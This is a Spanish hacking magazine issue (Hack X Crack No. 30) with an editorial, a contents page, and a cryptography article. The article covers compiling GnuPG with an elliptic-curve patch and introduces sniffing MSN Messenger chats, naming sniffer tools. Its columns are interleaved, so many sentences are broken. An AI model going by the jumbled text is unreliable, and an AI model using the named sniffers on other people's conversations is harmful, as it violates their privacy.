Está en la página 1de 68

Nº 30 P.V.P.

4,5 EUROS
00030

8 414090 202756

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


EDIT ORIAL
EL PROYECTO HXC:
APLICANDO EL PLAN DE COORDINACIÓN
En el último número editado explicábamos que para eliminar los puntos 2.- La WEB
débiles de la revista estábamos elaborando un PLAN DE COORDINACIÓN.
Gracias a la aplicación del Plan de Coordinación, por primera vez en HXC
Muy bien, pues durante dos meses hemos estado trabajando en su creación
se han dado todos los permisos necesarios para acceder al Servidor de
y mucho más importante: EN SU APLICACIÓN.
Hosting y poder crear una Web en condiciones.
Externamente quizá no se perciba una evolución importante desde el último
Esta es una de nuestras deudas “milenarias” en HXC, tener una buena
número… ¿o si?... Júzgalo tu mismo:
Web. ¿Lo conseguiremos? Pues muy posiblemente para cuando salga el
1.- Bandeja de Entrada Compartida próximo número ya tendremos la Web ON LINE, con tienda virtual incluida
Hay un problema que ha sido una y otra vez denunciado por nuestros e integración del foro a nivel de registros... estamos trabajando duro en
lectores: Los MAILS nunca contestados. Si, durante mucho tiempo HXC ello.
no ha atendido debidamente los mails, muchas oportunidades perdidas y
muchos lectores decepcionados. 3.- PEDIDOS DE NÚMEROS ATRASADOS DE LA REVISTA

Pues bien, hemos instalado un software mediante el cual somos varias las Como ya sabemos hasta ahora han sido muchas las críticas que ha recibido
personas que trabajamos conjuntamente para atender los mails. Desde este servicio, desde mails no contestados hasta un teléfono de contacto
hace ya un par de semanas, estamos contestando todos los mails que que no siempre es atendido.
hemos habilitado en el sistema. Pues bien, desde ahora y gracias a la Bandeja de Entrada Compartida, los
Por ahora, los mails que atendemos son: mails son contestados diariamente. Y el teléfono de PEDIDOS (977 22 45
80) también es atendido de Lunes a Viernes de 10:00 a 13:00 de la mañana.
- textos@hackxcrack.com ---> si quieres aportar un texto para publicar
en HXC y/o informarte sobre la posibilidad de colaborar, este es tu mail… Estamos empeñados en solucionar todos nuestros “puntos débiles” y
puedes aportar tus conocimientos al proyecto HXC y cobrar por ello: te esperamos conseguirlo de una vez por todas. Ya hemos recorrido un largo
estamos esperando!!! camino y demostrado grandes avances en los últimos tres números… en
esta nueva etapa de la revista las promesas se están cumpliendo.
- publicidad@hackxcrack.com ---> si quieres poner publicidad en la
revista, este es tu mail… tenemos los mejores precios del mercado editorial. Acabo la editorial diciendo lo de siempre: NADA de esto sería posible sin
Por cierto, si nos consigues anunciantes puedes ganar bastante dinero la implicación directa y desinteresada de muchos miembros del foro de
gracias a nuestro PLAN RESELLER DE PUBLICIDAD, envíanos un mail HXC que están empujando el proyecto con su tiempo y sus conocimientos.
y pregunta por nuestro PLAN RESELLER… es una oportunidad única!!! Quizá algún lector piense que estas palabras se escriben por simple
cortesía… nada más lejos de la realidad, hay varias personas que
- pedidos@hackxcrack.com ---> En la WEB (www.hackxcrack.com) desinteresadamente están quitándole tiempo a su vida para dársela a
puedes comprar los números atrasados de la revista. Si has hecho un HXC… desde aquí no puedo mas que decir una y otra vez G R A C I A S,
pedido y surge cualquier problema, este es tu mail. También puedes G R A C I A S y G R A C I A S!!!
consultar tus dudas antes de hacer el pedido.
Dentro de poco añadiremos al Sistema de Bandeja Compartida otros mails, ¡Un fuerte abrazo a todos!
el objetivo es que puedas colaborar activamente en HXC y acabar con la AZIMUT, administrador de los foros de hackxcrack
INCOMUNICACIÓN que ha existido hasta ahora. ¿Lo conseguiremos?
Seguro que si, ya estamos en el buen camino. www.hackxcrack.com

1.- PORTADA
2.- EDITORIAL - INDICE - STAFF
3.- TALLER DE CRIPTOGRAFIA grupo HXC
16.- ATENCIÓN TELEFÓNICA: PEDIDOS Y SUSCRIPCIONES taca dissenys
17.- ATAQUES A FORMULARIOS WEB taca.dissenys@gmail.com juanmat
22.- EL FORO DE HXC
23.- LOS SECRETOS DEL PROTOCOLO SOCKS
31.- GANA DINERO CON HXC: ARTÍCULOS Y PUBLICIDAD EDITOTRANS S.L.
HACKEA NUESTROS SERVIDORES B43675701
32.- CREAMOS UNA SHELLCODE PASO A PASO PERE MARTELL Nº 20, 2º - 1ª
34.- EXPLOTACION DE LAS FORMAT STRINGS 43001 TARRAGONA (ESPAÑA)
39.- CURSO DE C: PUNTEROS Y ARRAYS Director Editorial
58.- HACK MUNDIAL I. SENTIS
62.- EL CHAT DE HXC E-mail contacto
63.- ESA IDEA ME PERTENECE director@editotrans.com
67.- CONSIGUE LOS NUMEROS ATRASADOS DE LA REVISTA Título de la publicación
68.- PRECIOS DE PUBLICIDAD Los Cuadernos de HACK X CRACK.
Nombre Comercial de la publicacíón
PC PASO A PASO
Web: www.hackxcrack.com
Este Grupo está formado por un número de colaboradores Alex F. (CrashCool) crashcool@gmail.com // IMPRIME:
que han ido creciendo con, y siguiendo este Proyecto desde Iván Alcaraz (DiSTuRB) ivanalcaraz@telefonica.net //
sus comienzos, desde redactores, maquetadores, diseñadores Death Master (Ramiro C.G.) // Moleman (Héctor M.) // I.G. PRINTONE S.A. Tel 91 808 50 15
de páginas web, técnicos, programadores, administradores Popolous (Juan José EG) // Grullanetx (Tato) // PyC // DISTRIBUCIÓN:
de sistemas, profesionales de áreas diversas tales como TaU // TuXeD (Eloi SG) // Vic_Thor // G.F (kurin)
Economía, Ing. Industrial, Mercadotecnia, Arquitectura, así kurin@odiss.org // Martin Fierro // DrK // Jordi Corrales... SGEL, Avda. Valdeparra 29 (Pol. Ind.)
como aficionados y curiosos de la informática, etc...que 28018 ALCOBENDAS (MADRID)
comparten en común el cariño por HXC, y la afición al mundo Y TÚ...si...tú...puedes pertenecer a este grupo de
de la Informática, y son estas las principales razones que Tel 91 657 69 00 FAX 91 657 69 28
Articulistas/Redactores, si te animas a preparar un
los mueve a participar activamente en este Proyecto en su
Articulo, escribirlo y enviarlo a nuestra Editorial! ;-) WEB: www.sgel.es
nueva etapa.
Un Grupo que no tiene límites en su crecimiento y desarrollo, El CORAZÓN y ALMA del Proyecto:
ya que está convencido, que se nutre constantemente de
muchas fuentes, y por sobre tod, de los seguidores de la © Copyright Editotrans S.L.
revista. El Foro de HXC! NUMERO 30 -- PRINTED IN SPAIN
www.hackxcrack.com PERIOCIDAD BIMESTRAL
En el Grupo de Gestión de HXC contamos con un Grupo de
colaboradores que son miembros del Foro de HXC, y han Y todos y cada uno de los lectores y seguidores de la Deposito legal: B.26805-2002
seguido la Revista desde sus inicios. Entre los REDACTORES publicación PC Paso a Paso // HXC Código EAN: 8414090202756
contamos con:

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


Aquí estamos una vez más, en el Taller de Criptografía, dispuestos a dar unos cuantos pasos
más en el largo pero gratificante camino del aprendizaje de la criptografía. Antes de nada
quiero agradecer todos los correos y mensajes privados del foro que he recibido con comentarios
(todos positivos) acerca del Taller. Es muy gratificante saber que a la gente le resulta útil y
ameno. Gracias a todos los que de una forma u otra me lo han hecho saber.

Hagamos recopilación de lo que hemos visto hasta ahora: en los dos primeros artículos
aprendimos los fundamentos criptográficos y matemáticos del sistema OpenPGP, y realizamos
una primera toma de contacto con sus dos principales baluartes: PGP y GnuPG. Fueron los
artículos con más carga teórica (o al menos, no práctica). El tercer artículo supuso un gran
cambio en este aspecto, pues pasamos a utilizar todo lo que ya sabíamos sobre el sistema
en una situación cotidiana: la gestión del correo electrónico. Sé por los mensajes que he
recibido, que ha sido éste último el que más os ha gustado -con alguna excepción- así que
e s t á i s d e s u e r t e p o r q u e e l p r e s e n t e a r t í c u l o t i e n e u n e s p í r i t u m u y s i m i l a r.

En primer lugar, y al igual que hicimos con el ataque chino a SHA-1 (del que, por cierto, ya
se ha publicado el ataque completo -sólo apto para los más valientes...- aquí:
http://cryptome.org/wang_sha1_v2.zip), vamos a comentar una noticia de actualidad que nos
enseñará (o eso espero) una valiosa lección sobre seguridad. En segundo lugar vamos a
mejorar (sí, mejorar) GnuPG con nuevas posibilidades. Por último, vamos a aplicar todo lo
que sabemos a otro aspecto de nuestra "vida cotidiana" en Internet: la mensajería instantánea.
Empezamos...

Hay una metáfora en el mundillo de la criptografía que se


repite hasta la saciedad: una cadena siempre se rompe
Cuando hablamos de la elección de un passphrase para por su eslabón más débil. Pensad en ello: ¿por dónde se
vuestra clave privada, recordaréis que hice especial énfasis rompen las cadenas o pulseras? ;-)
en la importancia de la robustez del mismo: de nada me
sirve una clave de 4096 bits si el passphrase es el nombre Llevando esta metáfora al campo de la seguridad
de mi mascota... una clave privada es relativamente informática nos topamos con una realidad difícil de
sencilla de obtener una vez se obtiene acceso de alguna esquivar: casi siempre hay un eslabón "débil" que poder
forma al equipo que la almacena; y llegados a ese punto, romper. Se ha comprobado en multitud de ocasiones:
sólo el passphrase separa al atacante de nuestros secretos. servidores con cortafuegos inexpugnables que son

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


comprometidos por un servicio el acceso a la clave privada. Tomemos computadores aún son cosa del futuro,
vulnerable, intranets comprometidas todos nota y aprendamos esta lección ya se han realizado pruebas... y de
por VPN's mal protegidas... en la piel ajena, que siempre escuece hecho el algoritmo de Shor ha sido
menos... probado y demostrado por IBM en 2001:
Hace muy poco pudimos comprobar una http://domino.research.ibm.com/com
vez más el cumplimiento de esta máxima m/pr.nsf/pages/news.20011219_quan
en el sistema de foros phpBB: un fallo tum.html.
de la versión 2.0.15 -un viejo fallo que
fue correctamente corregido en 2.0.11- Ya conocemos el estándar OpenPGP (RFC Quizá todo esto os suene un poco
que permite inyectar código PHP #2440: ftp://ftp.rfc-editor.org/in- futurista... pero sólo es cuestión de
mediante la función system()... llegando notes/rfc2440.txt) así como el tiempo.
a comprometer un servidor completo a OpenPGP/MIME (RFC #3156:
través del software phpBB. f t p : / / f t p . r f c - e d i t o r. o r g / i n - Sin llegar a hablar de criptografía
notes/rfc3156.txt). También conocemos cuántica (que por cierto, es algo real y
¿Que qué tiene todo esto que ver con los dos grandes algoritmos de cifrado que existe hoy en día, no una entelequia
la criptografía? Mucho más de lo que a asimétrico: RSA y DH/DSS. Hemos futurista), existen sistemas y algoritmos
priori pudiera parecer. Os comento una trabajado con ellos, visto sus más modernos que suponen un gran
noticia que he conocido a través del algoritmos... ¡y hasta los hemos aumento de seguridad respecto a los
boletín ENIGMA (http://www.ugr.es/ comprobado matemáticamente! "tradicionales" RSA y DH. Uno de los
~aquiran/cripto/enigma.htm): más importantes, si no el que más, es
Pero hay otra valiosa lección en la la criptografía de curvas elípticas.
Hace un año la policía italiana confiscó s e g u r i d a d i n f o r m á t i c a : TO D O e s
el servidor de un colectivo llamado mejorable. ¿En qué consiste el sistema de curvas
Austistici/Inventati como parte de una elípticas? Simplemente se trata de
investigación. Tras la devolución del RSA y DH fueron los pioneros de lo que cambiar el marco de trabajo de un
servidor, éste fue puesto en marcha de hoy se ha convertido en el estándar de algoritmo del tradicional grupo
nuevo y siguió siendo utilizado para dar cifrado: el sistema de clave pública. No multiplicativo de un cuerpo finito primo
servicios como páginas web, correo fueron los únicos, existen otros sistemas a un sistema de curvas elípticas.
electrónico, listas de correo... pero hace como RW contemporáneos con las dos
unas semanas, el 21 de Junio, el citado e s t r e l l a s d e O p e n P G P, p e r o m u y El sistema de curvas elípticas fue
colectivo descubrió que la policía había similares en planteamiento. No obstante, propuesto por primera vez por V.S. Miller
instalado una puerta trasera para espiar la criptología como cualquier otra ciencia en 1986 con su artículo [Mil86] Use of
las comunicaciones que fluían a través evoluciona con el tiempo, y lo que hoy elliptic curve in cryptography. In
de su máquina. Y no sólo eso, sino que damos por seguro puede no serlo en un Advances in Cryptology.
las comunicaciones cifradas a través de futuro (buscad por la red de redes acerca
SSL, en las que la gente acostumbra a del algoritmo de Shor). Pero si el Para saber más sobre las curvas
confiar de forma ciega, también fueron criptoanálisis evoluciona, también lo elípticas, recomiendo visitar este enlace
comprometidas: se accedió a la clave hace la criptografía. en la Wikipedia (la enciclopedia libre):
privada del certificado y se instaló un http://en.wikipedia.org/wiki/Elliptic_c
sniffer que interceptó y descifró el tráfico El algoritmo de Shor (http://en. urve. También existe una versión
cifrado. wikipedia.org/wiki/Shor's_algorithm) traducida al castellano en: http://es.wiki
es un algoritmo cuántico que permite pedia.org/wiki/Curvas_el%C3%ADptic
SSL (Secure Socket Layer) es un factorizar grandes números de forma as.
protocolo de cifrado a nivel de socket fácil: su complejidad asintótica es de
que se implementa como una capa en O((log N)^3). Si tenéis conocimientos Para los que deseen profundizar en los
la propia pila de comunicaciones del de estudio de complejidad algorítmica fundamentos matemáticos de la
sistema (inmediatamente antes de la sabréis que se trata de una complejidad criptografía de curvas elípticas os
capa de aplicación). No es el momento bastante aceptable; y si recordáis lo recomiendo visitar este enlace:
de detallar qué es y cómo funciona (todo comentado en el primer artículo, sabréis http://en.wikipedia.org/wiki/Elliptic_c
llegará)... pero sí es importante tomar que el algoritmo RSA basa su fuerza en urve_cryptography.
conciencia de que es algo que utilizamos la dificultad para factorizar grandes
muy a menudo (cuando leemos el números... y no es el único, pues RW Aunque el sistema de curvas elípticas
correo, cuando consultamos nuestra se basa en el mismo principio ha sido implementado con éxito sobre
cuenta del banco en Internet...) y de matemático. varios algoritmos, ha demostrado ser
gran importancia. particularmente efectivo en algoritmos
Aún así podemos respirar tranquilos, basados en el problema del logaritmo
Como vemos, un sistema en teoría dado que al ser un algoritmo cuántico discreto... como por ejemplo DH. Y creo
completamente seguro como SSL fue requiere de un computador cuántico que ya sabéis a dónde nos lleva esto:
vulnerado a través de su "eslabón débil": para ser implementado. Aunque esos a implementar compatibilidad con cifrado

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


de curvas elípticas en GnuPG.
master@blingdenstone:~$ tar xvfz gnupg-1.4.1.tar.gz
¿Y porqué no en PGP? Porque PGP es {...}
software propietario y NO podemos master@blingdenstone:~$ cd gnupg-1.4.1
master@blingdenstone:~/gnupg-1.4.1$
modificar ni una línea sin incurrir en un
delito. En cambio, GnuPG es software
libre y podemos modificarlo tanto como
Listado 2
queramos (siempre que respetemos la
master@blingdenstone:~/gnupg-1.4.1$ bzcat ../gnupg-1.4.1-ecc0.1.6.diff.bz2 | patch -p1
licencia GPL). patching file cipher/ecc.c
patching file cipher/ecc.h
Por cierto, aprovecho para decir que patching file cipher/Makefile.am
estoy MUY cabreado con la actitud de patching file cipher/Makefile.in
patching file cipher/pubkey.c
PGP que, por primera vez con su nueva
patching file configure
versión 9, NO ha publicado una versión patching file g10/getkey.c
gratuita (freeware) sino una trial con patching file g10/keygen.c
límite de tiempo. :-( patching file g10/keyid.c
patching file g10/mainproc.c
patching file g10/misc.c
Esta modificación de GnuPG es posible
patching file g10/seskey.c
gracias al proyecto ECCGnuPG, que es patching file include/cipher.h
el trabajo de final de carrera de unos master@blingdenstone:~/gnupg-1.4.1$
estudiantes de la Universidad de Lleida:
Listado 3
Ramiro Moreno Chiral (tocayo mío),
Sergi Blanch i Torné y Mikael Mylnikov.
La página oficial del proyecto es ésta: master@blingdenstone:~/gnupg-1.4.1$ ./configure
{...}
http://alumnes.eps.udl.es/~d4372211
config.status: creating po/POTFILES
/index.es.html. config.status: creating po/Makefile
config.status: executing g10defs.h commands
C o m o e n e l s e g u n d o a r t í c u l o ya g10defs.h created
detallamos la compilación de GnuPG,
Configured for: GNU/Linux (i686-pc-linux-gnu)
ciertos detalles del proceso de
compilación los obviaré. Lo primero es master@blingdenstone:~/gnupg-1.4.1$
bajar la última versión de GnuPG (en el
momento de escribir estas líneas, la Listado 4
1.4.1): ftp://ftp.gnupg.org/gcrypt/gnupg
master@blingdenstone:~/gnupg-1.4.1$ make
/gnupg-1.4.1.tar.gz. Ahora debemos
{...}
bajar el parche (en fichero diff ) de make[2]: Leaving directory `/home/master/gnupg-1.4.1/checks'
ECCGnuPG para esa versión: make[2]: Entering directory `/home/master/gnupg-1.4.1'
http://alumnes.eps.udl.es/~d4372211 make[2]: Leaving directory `/home/master/gnupg-1.4.1'
/src/gnupg-1.4.1-ecc0.1.6.diff.bz2. make[1]: Leaving directory `/home/master/gnupg-1.4.1'
master@blingdenstone:~/gnupg-1.4.1$

Primero (y así practicamos un poco) Listado 5


vamos a comprobar que tenemos todos
los mismos ficheros... (ver listado 1) Bien, ahora descomprimimos GnuPG y nos posicionamos en el directorio con
las fuentes (ver listado 2).

Ahora es el momento de parchear el


master@blingdenstone:~$ ls -l gnupg-1.4.1.tar.gz código fuente de GnuPG con ECCGnuPG.
-rw-r--r-- 1 master master 4059170 Jul 3 20:12 gnupg-1.4.1.tar.gz
Este parche se aplica de igual forma
master@blingdenstone:~$ md5sum gnupg-1.4.1.tar.gz
1cc77c6943baaa711222e954bbd785e5 gnupg-1.4.1.tar.gz que cualquier otro fichero diff (como
master@blingdenstone:~$ sha1sum gnupg-1.4.1.tar.gz por ejemplo los parches del kernel de
f8e982d5e811341a854ca9c15feda7d5aba6e09a gnupg-1.4.1.tar.gz Linux) (ver listado 3).
master@blingdenstone:~$ ls -l gnupg-1.4.1-ecc0.1.6.diff.bz2
-rw-r--r-- 1 master master 17603 Jul 3 20:04 gnupg-1.4.1-ecc0.1.6.diff.bz2
El comando patch es uno de los más
master@blingdenstone:~$ md5sum gnupg-1.4.1-ecc0.1.6.diff.bz2
a77a9fd556337faea3b5a6214b8a3a1c gnupg-1.4.1-ecc0.1.6.diff.bz2 útiles para modificar código fuente en
master@blingdenstone:~$ sha1sum gnupg-1.4.1-ecc0.1.6.diff.bz2 sistemas Unix. Si quieres saber más de
1d484fafd47fa31eae20c22bfc5be3c6ba6f4381 gnupg-1.4.1-ecc0.1.6.diff.bz2 él, consulta la página del manual: man
master@blingdenstone:~$
patch.

Listado 1
Si no ha habido ningún problema,

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


algoritmos basados en el sistema de
master@blingdenstone:~/gnupg-1.4.1$ make install curvas elípticas: ECC, ECELG, ECDSA.
{...} Y como podemos ver, el funcionamiento
master@blingdenstone:~/gnupg-1.4.1$
general de GnuPG no ha variado... crear
una clave con cualquiera de estos
Listado 6
algoritmos es tan sencillo como hacerlo
para los estándar de GnuPG: (ver
master@blingdenstone:~$ gpg --version
listado 9)
gpg (GnuPG) 1.4.1
Copyright (C) 2005 Free Software Foundation, Inc.
This program comes with ABSOLUTELY NO WARRANTY. Eso sí, debemos tener en cuenta que
This is free software, and you are welcome to redistribute it para poder utilizar el sistema ECCGnuPG,
under certain conditions. See the file COPYING for details. éste debe ser usado por todos las partes
implicadas en el flujo de datos: no
Home: ~/.gnupg
Supported algorithms:
podemos pretender que nos envíen
Pubkey: RSA, RSA-E, RSA-S, ELG-E, DSA correo cifrado a nuestra clave ECC si el
Cipher: 3DES, CAST5, BLOWFISH, AES, AES192, AES256, TWOFISH remitente utiliza GnuPG estándar.
Hash: MD5, SHA1, RIPEMD160, SHA256, SHA384, SHA512
Compression: Uncompressed, ZIP, ZLIB, BZIP2
Si finalizamos el proceso de creación
master@blingdenstone:~$
de una nueva clave con ECC y
Listado 7 exportamos su parte pública a una
armadura ASCII, veremos que ésta tiene
master@blingdenstone:~$ ./gnupg-1.4.1/g10/gpg --version notables diferencias con las que estamos
gpg (GnuPG) 1.4.1-ecc0.1.6
acostumbrados a ver: (ver listado 10)
Copyright (C) 2005 Free Software Foundation, Inc.
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it Como vemos, la diferencia con lo que
under certain conditions. See the file COPYING for details. pudiera ser una clave RSA o DH es
bastante llamativa (no pegaré ejemplos
Home: ~/.gnupg
de estas claves a estas alturas, podéis
Supported algorithms:
vosotros mismos comprobarlo). Si
Pubkey: RSA, RSA-E, RSA-S, ELG-E, DSA, ECC, ECELG, ECDSA
Cipher: 3DES, CAST5, BLOWFISH, AES, AES192, AES256, TWOFISH comparamos dos claves, una RSA y otra
Hash: MD5, SHA1, RIPEMD160, SHA256, SHA384, SHA512 DH, pero ambas orientadas al grupo
Compression: Uncompressed, ZIP, ZLIB multiplicativo, veremos que se parecen
master@blingdenstone:~$
bastante. En cambio, si comparamos la
Listado 8 c l ave a n t e r i o r c o n u n a c l ave D H
estándar, veremos que aunque el
master@blingdenstone:~/gnupg-1.4.1/g10$ ./gpg --gen-key algoritmo es el mismo, los diferentes
gpg (GnuPG) 1.4.1-ecc0.1.6; Copyright (C) 2005 Free Software Foundation, Inc. campos de aplicación (curvas elípticas
This program comes with ABSOLUTELY NO WARRANTY.
y grupo multiplicativo de un cuerpo
This is free software, and you are welcome to redistribute it
finito primo respectivamente) generan
under certain conditions. See the file COPYING for details.
claves manifiestamente diferentes.
Please select what kind of key you want:
(1) DSA and Elgamal (default) Cabe destacar que aunque con nuestro
(2) DSA (sign only)
GnuPG parcheado con ECC no tendremos
(5) RSA (sign only)
ningún problema para manejar estas
(103) ECC (ECElGamal & ECDSA)
Your selection? nuevas claves, los entornos gráficos de
GnuPG no están preparados para este
Listado 9 tipo de claves, por lo que no las
reconocerán y tendremos ciertos
deberíais ver exactamente las líneas (ver listado 6) problemas con ellos, por ejemplo con
anteriores. Ahora es el momento de KGpg (Imagen 01) y con GPA (Imagen
generar el makefile: (ver listado 4) Ahora veamos los algoritmos soportados 02).
por un GnuPG normal y corriente...
Pasamos a compilar el software... (ver (ver listado 7) Quizá alguno de vosotros se pregunte
listado 5) si realmente es necesario desterrar el
Y los soportados por la versión GnuPG estándar para utilizar ECCGnuPG.
Y p o r ú l t i m o l o i n s t a l a m o s p a ra modificada con ECCGnuPG: (ver listado La respuesta es NO... porque es
sobrescribir la versión existente de 8) perfectamente posible que ambos
GnuPG. Este último paso yo no lo haré, coexistan en tu sistema sin que se
pero vosotros podéis hacerlo si queréis. ¡Genial! Ya tenemos soporte para peleen. ;-)

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


que acabamos de compilar de
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.4.1 (GNU/Linux) ECCGnuPG:(ver listado 12)

mQJrBELOUUtnAgkB//////////////////////////////////////////////// master@blingdenstone:~$ eccgpg --version


//////////////////////////////////////8CCQH///////////////////// gpg (GnuPG) 1.4.1-ecc0.1.6
//////////////////////////////////////////////////////////////// {...}
/AIHUZU+uWGOHJofkpohoLaFQO6i2nJbmbMV87i0iZGO8QnhVhk5Uex+k3sWUsC9 master@blingdenstone:~$
O7G/BzVz34g9LDTx70Uf1GtQPwACCMaFjga3BATpzZ4+y2YjlbRCnGSBOQU/tSH4
KK9ga009uqFLXnfv51ko/h3BJ6L/qN4zSLPBhWpCm/l+fjHC5b1mAgkBGDkpania Listado 12
O8AEXIpftCx9G9mY9URJV5tEaBevvRcnPmYsl+5ymV70JkDFULkBP60HYTU8cIai
csJAiL6Udp/RZlAAAQECCQH/////////////////////////////////////////
//pRhoeDvy+Wa3/MAUj3CaXQO7XJuImcR667b7cekThkCQIJAQ0WI6t+Kg5eTjri Las dos versiones estándar de GnuPG
rrN/QEVvJcRQU3CwEX6/8J0DiE4JBy0B4f0pbWyz2/L7QauFMkOnKH3Xfp3cqBsd están instaladas mediante el gestor de
6UCPQssYAgkBuyZb4jMwj9OoxG1mkaI4X6ARDy9QBh7ot1fn+ciPAhK8MNzvyiFH paquetes de mi distribución (APT,
tNTl6kPKl0e73Xpdyo/jxVmfvptxkQAw2nMCCQETEo4cMY94hD3pKp4dKVD8T5/n
Advanced Packaging Tool), mientras que
UJcxeS8y9TDJWkaIj19xJExw9WBmQlzPfnff7/iqnbUiflAgv92dSkfvd/PKjrQn
ECCGnuPG es la que acabamos de
RGVhdGggTWFzdGVyIDxkZWF0aF9tYXN0ZXJAaHBuLXNlYy5uZXQ+iLYEE2cCABsF
AkLOUUsGCwkIBwMCAxUCAwMWAgECHgECF4AACgkQaVdf3rXTBD7iwAIIgP6H0JS+ compilar con un enlace al directorio de
dJHIKbA6SRinh/Ig6TcpufMjtf45ZLqJWiGdxGxsfMBjM9asCfA1ipoGJadoCmf9 binarios del sistema:(ver listado 13)
6pq9qocZkP7RkcMCCQHXWajiPdBsp5JUqFEbNteyTUKTLD+NcMXUNcPn/7G4+Fog
kQYdBMUwKPIT2k/tHJp00af3q96EFNsYHj/hJ3EoIw==
Para realizar un enlace simbólico sólo
=j++4
-----END PGP PUBLIC KEY BLOCK----- debemos convertirnos en usuario
privilegiado y ejecutar la siguiente
Listado 10 orden: (ver listado 14)

A h o ra , c u a n d o q u e ra m o s u t i l i z a r
ECCGnuPG en un software determinado
(por ejemplo, en Mozilla Thunderbird
para nuestro correo electrónico) sólo
deberemos indicar como ruta del
ejecutable /usr/bin/eccgpg.

O s a n i m o a q u e p ra c t i q u é i s c o n
ECCGnuPG todas las opciones de las
que ya hablamos anteriormente y me
contéis vuestras experiencias en el foro.
:-)

Por si aún hay alguien que no conozca


nuestro foro -difícil, porque lo digo en
cada número :-P-, que no deje de
hacernos una visita en
http://www.hackxcrack. com/phpBB2/

Imagen 1
Si recordáis el segundo artículo, en el
que hablamos de GnuPG, comenté que
yo tengo en mi sistema dos versiones
de GnuPG: la estable y la de desarrollo: Frase extraída del afamado manual
(ver listado 11) "Cómo no volver a ver a una chica en
tu vida" xD. Ahora en serio... creo que
a estas alturas no habrá nadie que no
master@blingdenstone:~$ gpg --version sepa lo que es el famoso "messenger"
gpg (GnuPG) 1.4.1 pero por si acaso haré una breve
{...}
introducción.
master@blingdenstone:~$ gpg2 --version
gpg (GnuPG) 1.9.15
{...} En 1996 la compañía AOL (America
master@blingdenstone:~$ OnLine Inc) ideó un sistema de
comunicación instantánea entre sus
Listado 11 usuarios. En 1997 introdujo una novedad
Imagen 2
Pero además tengo también la versión que lo convirtió en el embrión de lo que

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


h oy c o n o c e m o s c o m o m e n s a j e r í a
master@blingdenstone:~$ ls -l /usr/bin/gpg
instantánea: la lista de contactos. Por
-rwsr-xr-x 1 root root 809836 May 10 00:47 /usr/bin/gpg
desgracia AIM (AOL Instant Messenger)
master@blingdenstone:~$ ls -l /usr/bin/gpg2
-rwsr-xr-x 1 root root 544332 Apr 8 15:53 /usr/bin/gpg2 era exclusivo para clientes de la
master@blingdenstone:~$ ls -l /usr/bin/eccgpg compañía... y ahí hizo su aparición
lrwxr-xr-x 1 root root 35 Jul 8 12:09 /usr/bin/eccgpg -> /home/master/eccgnupg-1.4.1/g10/gpg estelar el primer gran IM de la historia:
master@blingdenstone:~$
ICQ. En su día tremendamente popular,
y hoy en día desconocido por mucha
Listado 13
gente (pocos nostálgicos conservamos
una cuenta ICQ y seguimos haciendo
master@blingdenstone:~$ su
login en ella), sentó las bases de lo que
Password:
blingdenstone:/home/master# cd /usr/bin después sería el boom de Internet.
blingdenstone:/usr/bin# ln -s /home/master/eccgnupg-1.4.1/g10/gpg eccgpg
blingdenstone:/usr/bin# exit De la mano de Yahoo Messenger, Hotmail
exit
Messenger (conocido como MSN
master@blingdenstone:~$ eccgpg --version
Messenger desde que Microsoft compró
gpg (GnuPG) 1.4.1-ecc0.1.6
{...} hotmail) y otros menos conocidos como
master@blingdenstone:~$ Jabber o Gadu-Gadu, la mensajería
instantánea se ha convertido en un
Listado 14 fenómeno de masas muy superior a
otros que, en principio, tenían más
papeletas para serlo (correo electrónico,
IRC, VoIP...). A algunas personas no les
gusta demasiado (a un servidor, sin ir
más lejos) y a otras les apasiona... pero
todas corren el mismo peligro usándolo.

Sí, ya sé que estaréis pensando "ya está


aquí el agorero para amargarme la
conversación..." pero al igual que con
el correo electrónico, creo que no se
conoce un sistema a fondo hasta que
no conocemos completamente sus
Imagen 3
debilidades y cómo solucionarlas.
Veamos un ejemplo...

Nuestro querido e incauto Usuario A


inicia sesión con su cuenta de MSN y se
encuentra a su amigo del alma Usuario
B (Imagen 03), por lo que decide iniciar
una conversación con él (Imagen 04).
Pero no es el único que está escuchando
esa conversación (Imagen 05)...

¡¡IMPORTANTE!! Antes de nada, debe


quedar MUY clara una cosa: yo voy a
utilizar cuentas de correo que he creado
específicamente para el desarrollo de
este artículo, y todo el tráfico capturado
pertenece a MI red local por lo que no
hay ningún problema. Pero en otro caso
sí lo habría, pues espiar las
conversaciones instantáneas es un
DELITO MUY GRAVE. A algunas
personas este hecho no les amedrenta
(por eso aprendemos a defendernos),
pero debe quedar absolutamente claro
este aspecto.
Imagen 4

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


RFC-, sino propietario de la multinacional
Microsoft, existe en la red muchísima
información acerca del mismo.

Para los coleccionistas de Hack X Crack:


si echáis la vista atrás... muy atrás,
concretamente al número 15,
encontraréis en el artículo número 9 de
la serie RAW del fantástico PyC en el
que destripa el protocolo de MSN
Messenger MSNP7. Por desgracia, ese
protocolo dejó de funcionar hace un
tiempo en detrimento de sucesivas
revisiones: MSNP8, MSNP9... hasta la
última, la versión MSNP11 que coincide
con el nuevo MSN Messenger 7. No
obstante, son prácticamente idénticos
en la mayoría de sus aspectos principales
(el que más ha cambiado ha sido el
desafío de autenticación contra el
Imagen 5
servidor).

Como vemos, la interpretación de los


paquetes capturados es casi trivial, al
menos en el aspecto que podría interesar
a un atacante algo cotilla: la
conversación en sí. Aún así existen
programas que automatizan toda esa
tarea para reconstruir automáticamente
la conversación, como por ejemplo MSN
Sniffer (http://www.effetech.com/msn-
sniffer/) (Imagen 06), EtherBoss MSN
Messenger Conversation Monitor &
Sniffer (http://www.etherboss.com/msn-
monitor/) (Imagen 07), IM Sniffer
(http://www.johnytech.com/product.a
sp?Id=15) (Imagen 08), todos ellos
para sistemas Windows; o imsniff
(http://freshmeat.net/projects/imsniff/)
para sistemas Unix. Y MSN Messenger
no es el único sistema de mensajería
instantánea que posee "espías a
medida": ICQ, AOL... todos tienen los
suyos. Basta una pequeña visita a
Imagen 6
Google para verificarlo.
Cada cual es responsable de sus propios
actos. ¿Y qué podemos hacer nosotros para
protegernos de todos estos espías?
